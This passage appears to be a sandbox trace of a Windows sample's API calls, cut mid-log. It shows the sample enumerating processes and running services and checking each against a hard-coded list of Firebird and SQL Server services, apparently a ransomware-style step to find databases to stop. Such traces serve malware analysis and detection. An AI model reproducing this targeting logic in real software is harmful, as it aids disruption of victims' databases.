th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.142] lstrlenW (lpString="svchost.exe") returned 11 [0228.142] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.142] lstrlenW (lpString="audiodg.exe") returned 11 [0228.142] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.143] lstrlenW (lpString="svchost.exe") returned 11 [0228.143] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0228.143] lstrlenW (lpString="sihost.exe") returned 10 [0228.143] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0228.143] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0228.143] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0228.144] lstrlenW (lpString="Memory Compression") returned 18 [0228.144] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0228.144] lstrlenW (lpString="taskhostw.exe") returned 13 [0228.144] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0228.144] lstrlenW (lpString="userinit.exe") returned 12 [0228.144] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.145] lstrlenW (lpString="explorer.exe") returned 12 [0228.145] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0228.145] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0228.145] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0228.145] lstrlenW (lpString="SearchUI.exe") returned 12 [0228.145] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0228.146] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0228.146] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0228.146] lstrlenW (lpString="mobsync.exe") returned 11 [0228.146] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0228.146] lstrlenW (lpString="winhost.exe") returned 11 [0228.146] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.147] lstrlenW (lpString="cmd.exe") returned 7 [0228.147] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.147] lstrlenW (lpString="conhost.exe") returned 11 [0228.147] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0228.147] CloseHandle (hObject=0x454) returned 1 [0228.147] Sleep (dwMilliseconds=0x1f4) [0228.976] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb288 [0228.976] EnumServicesStatusExW (in: hSCManager=0x40eb288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0228.977] GetLastError () returned 0xea [0228.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1ac4) returned 0x40dc828 [0228.977] EnumServicesStatusExW (in: hSCManager=0x40eb288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40dc828, cbBufSize=0x1ac4, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40dc828, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0228.977] CloseServiceHandle (hSCObject=0x40eb288) returned 1 [0228.977] lstrlenW (lpString="AppXSvc") returned 7 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0228.978] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0228.978] lstrlenW (lpString="Audiosrv") returned 8 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0228.978] lstrlenW (lpString="BFE") returned 3 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0228.978] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0228.978] lstrlenW (lpString="CDPSvc") returned 6 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0228.978] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0228.978] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0228.978] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0228.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0228.978] lstrlenW (lpString="CryptSvc") returned 8 [0228.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0228.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0228.979] lstrlenW (lpString="DcomLaunch") returned 10 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0228.979] lstrlenW (lpString="DeviceAssociationService") returned 24 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0228.979] lstrlenW (lpString="Dhcp") returned 4 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0228.979] lstrlenW (lpString="Dnscache") returned 8 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0228.979] lstrlenW (lpString="DPS") returned 3 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0228.979] lstrlenW (lpString="DusmSvc") returned 7 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0228.979] lstrlenW (lpString="EventLog") returned 8 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0228.979] lstrlenW (lpString="EventSystem") returned 11 [0228.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0228.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0228.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0228.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0228.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0228.980] lstrlenW (lpString="FontCache") returned 9 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0228.980] lstrlenW (lpString="gpsvc") returned 5 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0228.980] lstrlenW (lpString="iphlpsvc") returned 8 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0228.980] lstrlenW (lpString="KeyIso") returned 6 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0228.980] lstrlenW (lpString="LanmanServer") returned 12 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0228.980] lstrlenW (lpString="LanmanWorkstation") returned 17 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0228.980] lstrlenW (lpString="lfsvc") returned 5 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0228.980] lstrlenW (lpString="lmhosts") returned 7 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0228.980] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0228.980] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0228.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0228.980] lstrlenW (lpString="LSM") returned 3 [0228.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0228.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0228.981] lstrlenW (lpString="MpsSvc") returned 6 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0228.981] lstrlenW (lpString="NcbService") returned 10 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0228.981] lstrlenW (lpString="netprofm") returned 8 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0228.981] lstrlenW (lpString="NgcSvc") returned 6 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0228.981] lstrlenW (lpString="NlaSvc") returned 6 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0228.981] lstrlenW (lpString="nsi") returned 3 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0228.981] lstrlenW (lpString="PcaSvc") returned 6 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0228.981] lstrlenW (lpString="PlugPlay") returned 8 [0228.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0228.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0228.981] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0228.981] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0228.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0228.981] lstrlenW (lpString="Power") returned 5 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0228.982] lstrlenW (lpString="ProfSvc") returned 7 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0228.982] lstrlenW (lpString="RpcEptMapper") returned 12 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0228.982] lstrlenW (lpString="RpcSs") returned 5 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0228.982] lstrlenW (lpString="SamSs") returned 5 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0228.982] lstrlenW (lpString="Schedule") returned 8 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0228.982] lstrlenW (lpString="SecurityHealthService") returned 21 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.982] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0228.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0228.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0228.982] lstrlenW (lpString="SENS") returned 4 [0228.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0228.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0228.982] 